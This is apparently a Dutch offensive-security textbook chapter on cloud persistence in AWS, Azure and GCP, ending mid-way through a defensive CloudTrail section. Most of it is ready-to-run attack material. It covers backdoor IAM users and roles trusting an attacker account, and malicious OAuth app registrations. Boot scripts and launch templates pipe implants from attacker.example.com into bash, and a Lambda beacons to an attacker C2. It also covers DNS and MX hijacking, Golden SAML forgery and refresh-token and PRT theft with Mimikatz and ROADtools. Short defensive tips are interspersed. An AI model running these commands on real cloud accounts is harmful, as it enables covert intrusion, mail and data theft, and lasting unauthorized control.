Cloud Persistentie

Waarin we ontdekken dat vertrekken uit de cloud moeilijker is dan erin komen – voor zowel de aanvaller als de verdediger


Persistentie. In de on-premise wereld betekent het scheduled tasks, registry run keys, DLL hijacking, en service creation. Bekende technieken, goed gedocumenteerd, en met een beetje geluk opgepikt door een fatsoenlijke EDR-oplossing. De cloud is een ander verhaal. Hier gaat persistentie niet over het overleven van een reboot. Hier gaat het over het overleven van een credential rotation, een incident response, en zelfs een complete account-migratie.

Het fundamentele probleem met cloud-persistentie is dat het onzichtbaar is. Een extra IAM-user in een account met 200 users valt niet op. Een trust policy-wijziging op een role die door drie teams wordt beheerd, merkt niemand op. Een OAuth app registration met Graph API-rechten? Die staat tussen de honderden andere apps die ooit door iemand zijn aangemaakt en nooit meer zijn verwijderd.

De ironie is dat dezelfde features die cloud-management makkelijk maken – IAM, federation, automation – ook persistentie makkelijk maken. Het zijn geen exploits. Het zijn features. En dat maakt detectie zo ongelofelijk lastig.

IB Tip: Cloud-persistentie wordt bijna nooit ontdekt door automatische tooling. Het vereist een baseline van “wat hoort hier te staan” en een regelmatige audit van “wat staat hier nu.” Zonder die baseline is elke backdoor gewoon een legitieme configuratie.


10.1 Persistentie in de Cloud

Waarom Cloud Persistentie Anders Is

On-Premise Persistentie                Cloud Persistentie
+-----------------------------------+  +-----------------------------------+
| - Scheduled Tasks                 |  | - IAM users/roles/policies        |
| - Registry Run Keys              |  | - OAuth app registrations         |
| - Service Installation           |  | - Federation trust configs        |
| - DLL Hijacking                  |  | - Event-triggered functions       |
| - WMI Event Subscriptions        |  | - Compute startup scripts         |
| - Boot/Logon Scripts             |  | - Storage event notifications     |
| - Malicious Drivers              |  | - DNS record manipulation         |
|                                   |  | - Token/certificate persistence   |
| Overleeft: reboot                |  | Overleeft: credential rotation,   |
| Detectie: EDR, process monitoring|  | IR cleanup, account migration     |
| Cleanup: re-image                |  | Detectie: config audit, log review|
+-----------------------------------+  | Cleanup: ???                      |
                                       +-----------------------------------+

De Persistentie Piramide

Niet alle persistentie-technieken zijn gelijk. Sommige overleven een wachtwoordreset. Andere overleven een complete incident response. De meest geavanceerde overleven zelfs een migratie naar een nieuw cloud-account.

Moeilijkheid van detectie / Robuustheid
         ^
         |
   Hoog  | Golden SAML (ADFS cert theft)
         | Token signing key persistence
         | Cross-account role backdoors
         |---
   Midden| OAuth app registrations
         | Automation runbooks
         | Lambda triggers + EventBridge
         | Compute startup scripts
         |---
   Laag  | Extra IAM users
         | Extra access keys
         | Security group wijzigingen
         |
         +--------------------------------------->
                Eenvoud van implementatie

10.2 IAM Backdoors

Extra Access Keys

De eenvoudigste vorm van persistentie: voeg een extra set access keys toe aan een bestaande user. Elke IAM-user kan twee sets access keys hebben.

# Creeer een extra access key voor een bestaande user
aws iam create-access-key --user-name existing-admin-user

# Output:
# {
#   "AccessKey": {
#     "UserName": "existing-admin-user",
#     "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
#     "Status": "Active",
#     "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
#   }
# }

# Check hoeveel keys een user heeft
aws iam list-access-keys --user-name existing-admin-user

# Dit valt op bij een audit -- maar wie doet er een audit?

Subtielere variant: voeg keys toe aan een service account die niemand monitort:

# Zoek service accounts / system users die niet interactief worden gebruikt
aws iam list-users --query 'Users[?PasswordLastUsed==`null`].UserName'

# Of users die al lang bestaan en nooit zijn geaudit
aws iam list-users --query 'Users[?CreateDate<`2023-01-01`].{User:UserName,Created:CreateDate}'

# Voeg een access key toe aan een vergeten service account
aws iam create-access-key --user-name legacy-backup-service

IB Tip: AWS IAM Access Analyzer kan unused access detecteren, maar het moet wel worden ingeschakeld. Veel organisaties draaien het niet. Controleer regelmatig op users met meerdere access keys: aws iam generate-credential-report && aws iam get-credential-report --query Content --output text | base64 -d | grep -c "true.*true" (telt users met twee actieve key sets).

Backdoor IAM Users en Roles

# Creeer een onopvallende IAM user
aws iam create-user --user-name CloudFormation-Deployer-prod
# Naam lijkt op een service account

# Geef admin rechten via een inline policy (minder zichtbaar dan managed policy)
aws iam put-user-policy \
  --user-name CloudFormation-Deployer-prod \
  --policy-name DeploymentAccess \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }]
  }'

# Creeer access keys
aws iam create-access-key --user-name CloudFormation-Deployer-prod

# Creeer een login profile (console access) met een wachtwoord
aws iam create-login-profile \
  --user-name CloudFormation-Deployer-prod \
  --password 'C0mpl3x-P@ssw0rd-2024!' \
  --no-password-reset-required

Backdoor role met cross-account trust:

# Creeer een role die je vanuit een ander account kunt assumen
aws iam create-role \
  --role-name EmergencyBreakGlass \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }]
  }'

# Attach admin policy
aws iam attach-role-policy \
  --role-name EmergencyBreakGlass \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Nu kun je vanuit je eigen account:
aws sts assume-role \
  --role-arn arn:aws:iam::VICTIM_ACCOUNT:role/EmergencyBreakGlass \
  --role-session-name maintenance

Trust Policy Manipulation

Subtiele wijzigingen aan bestaande trust policies zijn moeilijker te detecteren dan het aanmaken van nieuwe resources.

# Haal de huidige trust policy op
aws iam get-role --role-name ExistingAdminRole \
  --query 'Role.AssumeRolePolicyDocument' > trust-policy.json

# Voeg een extra principal toe
# Origineel:
# "Principal": {"AWS": "arn:aws:iam::111111111111:role/LegitRole"}
#
# Gewijzigd:
# "Principal": {"AWS": [
#   "arn:aws:iam::111111111111:role/LegitRole",
#   "arn:aws:iam::ATTACKER_ACCOUNT:root"
# ]}

# Update de trust policy
aws iam update-assume-role-policy \
  --role-name ExistingAdminRole \
  --policy-document file://modified-trust-policy.json

Azure variant: voeg een extra owner toe aan een subscription:

# Voeg een service principal toe als Contributor (niet Owner -- dat valt te veel op)
az role assignment create \
  --assignee "ATTACKER_SP_OBJECT_ID" \
  --role "Contributor" \
  --scope "/subscriptions/VICTIM_SUB_ID"

# Of voeg een custom role toe met specifieke rechten
az role definition create --role-definition '{
  "Name": "Diagnostics Reader",
  "Description": "Read diagnostic settings",
  "Actions": ["*"],
  "NotActions": [],
  "AssignableScopes": ["/subscriptions/VICTIM_SUB_ID"]
}'
# Een role genaamd "Diagnostics Reader" met Action "*" -- wie leest de details?

Cross-Account Roles als Persistentie

# AWS Organizations -- creeer een role in een member account
# vanuit het management account

# In het management account:
aws organizations list-accounts --query 'Accounts[].{Id:Id, Name:Name}'

# Assume de OrganizationAccountAccessRole in een member account
aws sts assume-role \
  --role-arn arn:aws:iam::MEMBER_ACCOUNT:role/OrganizationAccountAccessRole \
  --role-session-name org-admin

# Creeer een backdoor role in het member account
aws iam create-role \
  --role-name AWSServiceRoleForConfig \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
      "Action": "sts:AssumeRole"
    }]
  }'
# Naam lijkt op een AWS service-linked role

IB Tip: De OrganizationAccountAccessRole is het cloud-equivalent van Domain Admin. Het wordt automatisch aangemaakt in elk member account en geeft het management account volledige toegang. Als een aanvaller het management account compromitteert, heeft hij effectief toegang tot alle accounts in de organisatie. Verwijder of hernoem deze role in productie-accounts en gebruik in plaats daarvan specifieke, gelimiteerde cross-account roles.


10.3 OAuth en App Registration Persistentie

Azure: Malicious App Registrations

Azure AD App Registrations zijn een van de meest effectieve persistentiemechanismen in Azure. Een app met de juiste API-permissions kan data lezen, users beheren en configuraties wijzigen – allemaal zonder interactieve login.

# Creeer een app registration
az ad app create \
  --display-name "Microsoft Graph Connector" \
  --sign-in-audience "AzureADMyOrg"
# Naam lijkt op een Microsoft-product

APP_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query '[0].appId' -o tsv)

# Voeg een client secret toe (geldig voor max 2 jaar)
az ad app credential reset \
  --id "$APP_ID" \
  --append \
  --years 2 \
  --display-name "Production key"

# Creeer een service principal
az ad sp create --id "$APP_ID"

# Voeg API permissions toe
# Microsoft Graph: Mail.Read, User.Read.All, Directory.Read.All
az ad app permission add \
  --id "$APP_ID" \
  --api 00000003-0000-0000-c000-000000000000 \
  --api-permissions \
    570282fd-fa5c-430d-a7fd-fc8dc98a9dca=Role \
    df021288-bdef-4463-88db-98f22de89214=Role \
    7ab1d382-f21e-4acd-a863-ba3e13f7da61=Role

# Grant admin consent (als je Global Admin bent)
az ad app permission admin-consent --id "$APP_ID"

Gebruik de app voor persistente toegang:

# Authenticeer met de app credentials (geen MFA nodig!)
az login --service-principal \
  -u "$APP_ID" \
  -p "CLIENT_SECRET" \
  --tenant "TENANT_ID"

# Of via de Microsoft Graph API
TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=$APP_ID" \
  -d "client_secret=CLIENT_SECRET" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "grant_type=client_credentials" \
  | jq -r '.access_token')

# Lees alle users
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users" | jq '.value[].displayName'

# Lees email
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users/target@company.com/messages" | jq .

In plaats van admin consent kun je ook users verleiden om consent te geven aan een malicious app.

# Creeer een app die delegated permissions vraagt
az ad app create \
  --display-name "Teams Productivity Helper" \
  --web-redirect-uris "https://attacker.example.com/callback" \
  --sign-in-audience "AzureADMultipleOrgs"

# Voeg delegated permissions toe (User.Read is standaard)
az ad app permission add \
  --id "$APP_ID" \
  --api 00000003-0000-0000-c000-000000000000 \
  --api-permissions \
    e1fe6dd8-ba31-4d61-89e7-88639da4683d=Scope \
    14dad69e-099b-42c9-810b-d002981feec1=Scope \
    89fe6a52-be36-487e-b7d8-d061c450a026=Scope
# User.Read, profile, openid

# Genereer de consent URL
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=$APP_ID&response_type=code&redirect_uri=https://attacker.example.com/callback&scope=User.Read+Mail.Read+offline_access&response_mode=query"

# Wanneer een user consent geeft, ontvang je een authorization code
# Wissel deze in voor tokens
curl -s -X POST \
  "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=$APP_ID" \
  -d "client_secret=SECRET" \
  -d "code=AUTHORIZATION_CODE" \
  -d "redirect_uri=https://attacker.example.com/callback" \
  -d "grant_type=authorization_code" \
  | jq .

# Het refresh_token is je persistentie-mechanisme!
# Geldig voor 90 dagen (standaard) en vernieuwbaar

AWS: Identity Providers

# Registreer een SAML Identity Provider in AWS
# Met een zelf-beheerd certificaat
aws iam create-saml-provider \
  --saml-metadata-document file://evil-idp-metadata.xml \
  --name "CorporateSSO-DR"

# Creeer een role die deze IdP vertrouwt
aws iam create-role \
  --role-name SSOFederatedAccess \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::111111111111:saml-provider/CorporateSSO-DR"
      },
      "Action": "sts:AssumeRoleWithSAML",
      "Condition": {
        "StringEquals": {
          "SAML:aud": "https://signin.aws.amazon.com/saml"
        }
      }
    }]
  }'

aws iam attach-role-policy \
  --role-name SSOFederatedAccess \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Nu kun je SAML assertions genereren met je eigen IdP
# en daarmee de SSOFederatedAccess role assumen
# GCP OAuth2 client credentials voor persistentie
# Creeer een OAuth client
gcloud alpha iap oauth-clients create \
  --display-name="Monitoring Integration" \
  "projects/PROJECT_ID/brands/BRAND_ID"

# Of via de API
curl -X POST \
  "https://iap.googleapis.com/v1/projects/PROJECT_NUMBER/brands/BRAND_ID/identityAwareProxyClients" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"displayName": "Internal Monitoring"}'

IB Tip: Azure AD App Registrations zijn de #1 persistentie-vector in Azure-omgevingen. Ze overleven wachtwoord-resets, MFA-wijzigingen en zelfs conditional access policies (want ze gebruiken client credentials, niet interactieve login). Audit regelmatig: az ad app list --all --query '[].{name:displayName, created:createdDateTime, permissions:requiredResourceAccess}'


10.4 Compute-Based Persistentie

EC2 User Data Scripts

EC2 instances voeren user data scripts uit bij de eerste boot (en optioneel bij elke boot). Dit is een klassiek persistentie-mechanisme.

# Bekijk de huidige user data van een instance
aws ec2 describe-instance-attribute \
  --instance-id i-0abc123def456789 \
  --attribute userData \
  --query 'UserData.Value' --output text | base64 -d

# Modificeer de user data (instance moet gestopt zijn)
# Stap 1: Stop de instance
aws ec2 stop-instances --instance-ids i-0abc123def456789

# Stap 2: Wijzig de user data
USERDATA=$(cat <<'SCRIPT' | base64
#!/bin/bash
# Origineel script...
apt-get update && apt-get install -y nginx

# Backdoor: download en start een reverse shell bij elke boot
curl -s https://attacker.example.com/implant -o /usr/local/bin/.update-service
chmod +x /usr/local/bin/.update-service
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.update-service
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service
systemctl start system-update.service
SCRIPT
)

aws ec2 modify-instance-attribute \
  --instance-id i-0abc123def456789 \
  --user-data "Value=$USERDATA"

# Stap 3: Start de instance weer
aws ec2 start-instances --instance-ids i-0abc123def456789

Azure VM Extensions

Azure VM Extensions draaien scripts op VM’s – en ze zijn beheerbaar via de Azure API.

# Bekijk bestaande extensions
az vm extension list --vm-name target-vm --resource-group target-rg

# Installeer een custom script extension (Linux)
az vm extension set \
  --resource-group target-rg \
  --vm-name target-vm \
  --name customScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{
    "commandToExecute": "curl -s https://attacker.example.com/implant | bash"
  }'

# Windows variant
az vm extension set \
  --resource-group target-rg \
  --vm-name target-win-vm \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{
    "commandToExecute": "powershell -enc BASE64_ENCODED_COMMAND"
  }'

# De extension blijft geinstalleerd en kan opnieuw worden getriggerd
# Bekijk de status
az vm extension show \
  --resource-group target-rg \
  --vm-name target-vm \
  --name customScript

GCE Startup Scripts

# Bekijk de huidige startup script
gcloud compute instances describe target-instance \
  --zone europe-west1-b \
  --format="value(metadata.items[key='startup-script'].value)"

# Stel een startup script in
gcloud compute instances add-metadata target-instance \
  --zone europe-west1-b \
  --metadata startup-script='#!/bin/bash
# Legitimate looking startup
echo "Starting application..."

# Backdoor
if [ ! -f /tmp/.init_done ]; then
  curl -s https://attacker.example.com/gcp-implant -o /usr/local/sbin/health-monitor
  chmod +x /usr/local/sbin/health-monitor
  /usr/local/sbin/health-monitor &
  touch /tmp/.init_done
fi
'

# Of via een GCS URL (minder opvallend)
gcloud compute instances add-metadata target-instance \
  --zone europe-west1-b \
  --metadata startup-script-url='gs://internal-scripts/startup.sh'
# Waar startup.sh jouw backdoor bevat

Auto-Scaling Launch Templates

Launch templates definiëren hoe nieuwe instances worden gecreeerd. Wijzig de template en elke nieuwe instance bevat je backdoor.

# Bekijk bestaande launch templates
aws ec2 describe-launch-templates

# Haal de huidige versie op
aws ec2 describe-launch-template-versions \
  --launch-template-id lt-0abc123def456789 \
  --versions '$Latest'

# Creeer een nieuwe versie met gewijzigde user data
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abc123def456789 \
  --source-version 1 \
  --launch-template-data '{
    "UserData": "'$(base64 <<< '#!/bin/bash
# Original user data...
# Plus backdoor
curl -s https://attacker.example.com/asg-implant | bash
')'"
  }' \
  --version-description "Security patch update"

# Stel de nieuwe versie in als default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abc123def456789 \
  --default-version 2

# Bij de volgende scale-out krijgt elke nieuwe instance de backdoor

IB Tip: Auto-scaling launch templates zijn een bijzonder effectief persistentie-mechanisme. Zelfs als het IR-team alle draaiende instances opruimt, creert de auto-scaler nieuwe instances met de backdoor. Check altijd de launch templates en launch configurations als onderdeel van incident response: aws ec2 describe-launch-template-versions --launch-template-id lt-xxx --versions '$Latest' --query 'LaunchTemplateVersions[0].LaunchTemplateData.UserData' --output text | base64 -d


10.5 Serverless Persistentie

Lambda Triggers met CloudWatch Events / EventBridge

EventBridge rules kunnen Lambda-functies op een schema triggeren – de cloud-versie van een cron job.

# Creeer een Lambda functie als backdoor
aws lambda create-function \
  --function-name CloudWatch-MetricCollector \
  --runtime python3.11 \
  --handler index.handler \
  --role arn:aws:iam::111111111111:role/LambdaExecutionRole \
  --zip-file fileb://backdoor.zip \
  --timeout 60

# Creeer een EventBridge rule die elke 6 uur triggert
aws events put-rule \
  --name MetricCollection-Schedule \
  --schedule-expression "rate(6 hours)" \
  --state ENABLED \
  --description "Collect CloudWatch metrics for dashboard"

# Koppel de Lambda aan de rule
aws events put-targets \
  --rule MetricCollection-Schedule \
  --targets '[{
    "Id": "MetricCollector",
    "Arn": "arn:aws:lambda:eu-west-1:111111111111:function:CloudWatch-MetricCollector"
  }]'

# Geef EventBridge toestemming om de Lambda aan te roepen
aws lambda add-permission \
  --function-name CloudWatch-MetricCollector \
  --statement-id EventBridge-Invoke \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:eu-west-1:111111111111:rule/MetricCollection-Schedule

De backdoor Lambda:

# index.py -- lijkt op een metric collector
import boto3
import json
import os
import urllib.request

def handler(event, context):
    # "Legitimate" metric collection
    cw = boto3.client('cloudwatch')
    metrics = cw.list_metrics(Namespace='AWS/EC2')

    # Backdoor: exfiltreer credentials en check voor commands
    try:
        # Check-in bij C2
        data = json.dumps({
            "account": boto3.client('sts').get_caller_identity()['Account'],
            "role": os.environ.get('AWS_LAMBDA_FUNCTION_NAME'),
            "region": os.environ.get('AWS_REGION'),
        }).encode()

        req = urllib.request.Request(
            "https://metrics-api.attacker.example.com/v1/collect",
            data=data,
            headers={"Content-Type": "application/json"}
        )
        resp = urllib.request.urlopen(req, timeout=5)
        cmd = json.loads(resp.read())

        # Voer commands uit als die er zijn
        if cmd.get('action') == 'enumerate':
            iam = boto3.client('iam')
            users = iam.list_users()['Users']
            # ... rapporteer terug
    except Exception:
        pass  # Fail silently

    return {"metrics_collected": len(metrics.get('Metrics', []))}

S3 Event Triggers

# Configureer een S3 bucket notification die een Lambda triggert
# bij elke upload (persistent monitoring van data)

aws s3api put-bucket-notification-configuration \
  --bucket sensitive-data-bucket \
  --notification-configuration '{
    "LambdaFunctionConfigurations": [{
      "Id": "DataClassification",
      "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:111111111111:function:DataClassifier",
      "Events": ["s3:ObjectCreated:*"],
      "Filter": {
        "Key": {
          "FilterRules": [{
            "Name": "suffix",
            "Value": ".csv"
          }]
        }
      }
    }]
  }'

# De Lambda kopieert interessante bestanden naar een externe bucket

Azure Automation Runbooks

Azure Automation Runbooks draaien PowerShell of Python scripts op een schema. Ze zijn ideaal voor persistentie omdat ze er uitzien als legitieme automatisering.

# Creeer een automation account (als dat nog niet bestaat)
az automation account create \
  --name "IT-Automation" \
  --resource-group mgmt-rg \
  --location westeurope

# Creeer een runbook
az automation runbook create \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Compliance-Check" \
  --type PowerShell \
  --description "Weekly compliance verification"

# Upload het runbook script
az automation runbook replace-content \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Compliance-Check" \
  --content @compliance-check.ps1

# Publiceer het runbook
az automation runbook publish \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Compliance-Check"

# Creeer een schedule
az automation schedule create \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --name "Weekly-Compliance" \
  --frequency Week \
  --interval 1 \
  --start-time "2026-03-08T02:00:00+01:00" \
  --description "Weekly compliance scan"

# Koppel het runbook aan het schedule
az automation job-schedule create \
  --automation-account-name "IT-Automation" \
  --resource-group mgmt-rg \
  --runbook-name "Compliance-Check" \
  --schedule-name "Weekly-Compliance"

GCP Cloud Scheduler

# Creeer een Cloud Scheduler job die een Cloud Function triggert
gcloud scheduler jobs create http compliance-scan \
  --schedule="0 */6 * * *" \
  --uri="https://europe-west1-project-id.cloudfunctions.net/compliance-scanner" \
  --http-method=POST \
  --message-body='{"scan_type": "full"}' \
  --oidc-service-account-email="scheduler-sa@project.iam.gserviceaccount.com" \
  --location=europe-west1 \
  --description="Regular compliance scanning"

# Of trigger een Pub/Sub topic
gcloud scheduler jobs create pubsub data-sync \
  --schedule="*/30 * * * *" \
  --topic="data-processing" \
  --message-body='{"sync": true}' \
  --location=europe-west1

10.6 Storage-Based Persistentie

S3 Event Notifications als Trigger

S3 event notifications zijn niet alleen een aanvalsvector voor event injection – ze zijn ook een persistentie-mechanisme.

# Creeer een Lambda die getriggerd wordt door uploads naar een veelgebruikte bucket
# Elke keer dat iemand een bestand uploadt, draait jouw code

aws s3api put-bucket-notification-configuration \
  --bucket company-shared-files \
  --notification-configuration '{
    "LambdaFunctionConfigurations": [{
      "Id": "FileProcessor",
      "LambdaFunctionArn": "arn:aws:lambda:eu-west-1:111111111111:function:FileIndexer",
      "Events": ["s3:ObjectCreated:*"]
    }]
  }'

# De Lambda:
# 1. Indexeert het bestand (legitieme functie)
# 2. Kopieert interessante bestanden naar een attacker-bucket
# 3. Rapporteert terug naar C2

Azure Blob Storage Triggers

# Azure Function met Blob Storage trigger
# In function.json:
# {
#   "bindings": [{
#     "name": "inputBlob",
#     "type": "blobTrigger",
#     "direction": "in",
#     "path": "uploads/{name}",
#     "connection": "AzureWebJobsStorage"
#   }]
# }

# Elke upload naar de 'uploads' container triggert de functie
# De functie kan de data exfiltreren

Lifecycle Policies als Timer

S3 Lifecycle policies kunnen objecten verplaatsen of verwijderen na een bepaalde periode. Creatief gebruikt, kunnen ze als timer fungeren.

# Creeer een lifecycle policy die een object na 30 dagen naar Glacier verplaatst
# De transitie triggert een S3 event notification
aws s3api put-bucket-lifecycle-configuration \
  --bucket timer-bucket \
  --lifecycle-configuration '{
    "Rules": [{
      "ID": "ArchiveOldFiles",
      "Status": "Enabled",
      "Filter": {"Prefix": "timer/"},
      "Transitions": [{
        "Days": 30,
        "StorageClass": "GLACIER"
      }]
    }]
  }'

# Upload een "timer" object
aws s3 cp /dev/null s3://timer-bucket/timer/trigger-20260302

# Na 30 dagen triggert de transitie een event
# Dat event triggert een Lambda
# Die Lambda voert je persistentie-actie uit
# En creert een nieuw timer-object (herhalende cyclus)

IB Tip: Storage-gebaseerde persistentie is bijzonder lastig te detecteren omdat het gebruik maakt van normale, verwachte functionaliteit. Wie controleert de S3 event notification configuratie van elke bucket? Of de lifecycle policies? De enige manier om dit te vinden is een volledige configuratie-audit, of CloudTrail-alerts op s3:PutBucketNotificationConfiguration en s3:PutBucketLifecycleConfiguration.


10.7 DNS en Domain Persistentie

Route53 Record Manipulation

DNS-records zijn een vaak over het hoofd gezien persistentie-mechanisme. Een gewijzigd A-record of CNAME kan verkeer omleiden naar een aanvaller-gecontroleerde server.

# Bekijk alle hosted zones
aws route53 list-hosted-zones

# Bekijk records in een zone
aws route53 list-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890

# Voeg een subdomain toe dat naar je C2 wijst
aws route53 change-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --change-batch '{
    "Changes": [{
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "internal-api.company.com",
        "Type": "A",
        "TTL": 300,
        "ResourceRecords": [{"Value": "ATTACKER_IP"}]
      }
    }]
  }'

# Of creeer een wildcard record
aws route53 change-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --change-batch '{
    "Changes": [{
      "Action": "UPSERT",
      "ResourceRecordSet": {
        "Name": "*.dev.company.com",
        "Type": "CNAME",
        "TTL": 300,
        "ResourceRecords": [{"Value": "attacker-infra.example.com"}]
      }
    }]
  }'

Azure DNS Zone Abuse

# Bekijk DNS zones
az network dns zone list --query '[].{name:name, rg:resourceGroup}'

# Voeg een record toe
az network dns record-set a add-record \
  --resource-group dns-rg \
  --zone-name company.com \
  --record-set-name vpn-backup \
  --ipv4-address ATTACKER_IP

# Wijzig een MX record (email omleiding)
az network dns record-set mx add-record \
  --resource-group dns-rg \
  --zone-name company.com \
  --record-set-name mail-backup \
  --exchange attacker-smtp.example.com \
  --preference 5

Subdomain Takeover

Subdomain takeover is een persistentie-techniek waarbij je een subdomain overneemt dat verwijst naar een niet meer bestaande resource.

# Zoek naar dangling DNS records
# CNAME records die verwijzen naar cloud services

# AWS
aws route53 list-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --query 'ResourceRecordSets[?Type==`CNAME`].{Name:Name,Target:ResourceRecords[0].Value}' \
  | jq '.[] | select(.Target | test("amazonaws|azurewebsites|cloudapp|herokuapp|github|s3"))'

# Check of de targets nog bestaan
for target in $(aws route53 list-resource-record-sets \
  --hosted-zone-id /hostedzone/Z1234567890 \
  --query 'ResourceRecordSets[?Type==`CNAME`].ResourceRecords[0].Value' \
  --output text); do
  echo -n "$target: "
  host "$target" 2>&1 | head -1
done

# Als een CNAME verwijst naar een S3 bucket die niet meer bestaat:
# Creeer die bucket in je eigen account
aws s3 mb s3://company-old-website --region eu-west-1

# Nu serveert jouw bucket content op company-old-website.company.com

10.8 Golden SAML en Token Persistentie

ADFS Signing Certificate Theft

De Golden SAML-aanval is wellicht de meest robuuste persistentie-techniek in een hybride omgeving. Met het ADFS token-signing certificaat kun je SAML-tokens genereren voor elke gebruiker, inclusief Global Admins, zonder hun wachtwoord te kennen.

# Op de ADFS server (vereist admin access):

# Methode 1: Export via PowerShell
$cert = Get-AdfsCertificate -CertificateType Token-Signing
Export-PfxCertificate -Cert "Cert:\LocalMachine\My\$($cert.Certificate.Thumbprint)" `
  -FilePath "C:\temp\adfs-signing.pfx" `
  -Password (ConvertTo-SecureString -String "ExportPassword" -Force -AsPlainText)

# Methode 2: ADFSDump
.\ADFSDump.exe /domain:corp.local /server:adfs01.corp.local

# Methode 3: Mimikatz (als het certificaat in de Windows Certificate Store staat)
mimikatz.exe "crypto::certificates /systemstore:local_machine /export" exit

# Methode 4: Via de ADFS configuration database (WID of SQL)
# De DKM key decrypts de signing certificate
# Haal de DKM container op uit AD
$adfs = Get-WmiObject -Namespace root\ADFS -Class SecurityTokenService
$adfs.ConfigurationDatabaseConnectionString
# Lees de EncryptedPfx uit de configuratiedatabase

Forged SAML Assertions

# Met het gestolen certificaat kun je SAML assertions forgen

# Gebruik shimit (Python)
python3 shimit.py \
  -idp "http://adfs.corp.local/adfs/services/trust" \
  -spn "urn:federation:MicrosoftOnline" \
  -cert stolen-adfs-signing.pfx \
  -u "ceo@company.com" \
  -n "CEO Name" \
  -r "Global Administrator" \
  -id "_$(python3 -c 'import uuid; print(uuid.uuid4())')" \
  -o golden_saml.b64

# Dit geeft je een B64-encoded SAML response
# Die je kunt gebruiken om in te loggen als elke gebruiker

# Gebruik de SAML assertion om een access token te krijgen
# Via browser (post naar de Azure AD SAML endpoint)
# Of via tools die SAML assertions verwerken

Refresh Token Abuse

OAuth2 refresh tokens zijn long-lived en kunnen worden gebruikt om nieuwe access tokens te genereren. Ze overleven wachtwoord-resets (in sommige configuraties).

# Stap 1: Verkrijg een refresh token via phishing, token theft, etc.

# Stap 2: Gebruik het refresh token om een nieuw access token te krijgen
curl -s -X POST \
  "https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=APP_ID" \
  -d "grant_type=refresh_token" \
  -d "refresh_token=STOLEN_REFRESH_TOKEN" \
  -d "scope=https://graph.microsoft.com/.default offline_access" \
  | jq .

# Het response bevat:
# - Een nieuw access_token (korte levensduur, ~1 uur)
# - Een nieuw refresh_token (lange levensduur, tot 90 dagen)
# - De nieuwe refresh_token verlengt de levensduur weer

# Stap 3: Automatiseer het vernieuwen
# Sla het refresh token veilig op en vernieuw het regelmatig
# Zolang je het binnen de lifetime vernieuwt, blijf je toegang houden

Primary Refresh Token (PRT) theft:

# Een PRT is het krachtigste token in Azure AD
# Het geeft SSO-toegang tot alle Azure AD-connected resources

# Methode 1: Mimikatz (op een Azure AD joined device)
mimikatz.exe "sekurlsa::cloudap" exit
# Geeft de PRT en session key

# Methode 2: ROADtools (Python)
# pip install roadtools
roadtx prt -a devicecode
# Of met gestolen PRT:
roadtx prt -r PRT_VALUE -s SESSION_KEY
roadtx browserprtauth  # Start een browser met het PRT

IB Tip: Golden SAML overleeft alles behalve het roteren van het ADFS token-signing certificaat. En dat certificaat roteren is een operatie die de meeste organisaties nooit doen – omdat het alle bestaande federatie-relaties breekt. Het is de ultieme persistentie: de enige remedie is pijnlijker dan de aanval zelf. Plan regelmatige certificaatrotatie en test het herstelproces.


Verdedigingsmaatregelen

CloudTrail Monitoring

# CloudTrail events die op persistentie kunnen wijzen
# IAM-gerelateerde events
aws logs filter-log-events \
  --log-group-name CloudTrail/management-events \
  --filter-pattern '{
    ($.eventName = "CreateUser") ||
    ($.eventName = "CreateAccessKey") ||
    ($.eventName = "CreateRole") ||
    ($.eventName = "UpdateAssumeRolePolicy") ||
    ($.eventName = "AttachUserPolicy") ||
    ($.eventName = "AttachRolePolicy") ||
    ($.eventName = "PutUserPolicy") ||
    ($.eventName = "PutRolePolicy") ||
    ($.eventName = "CreateLoginProfile") ||
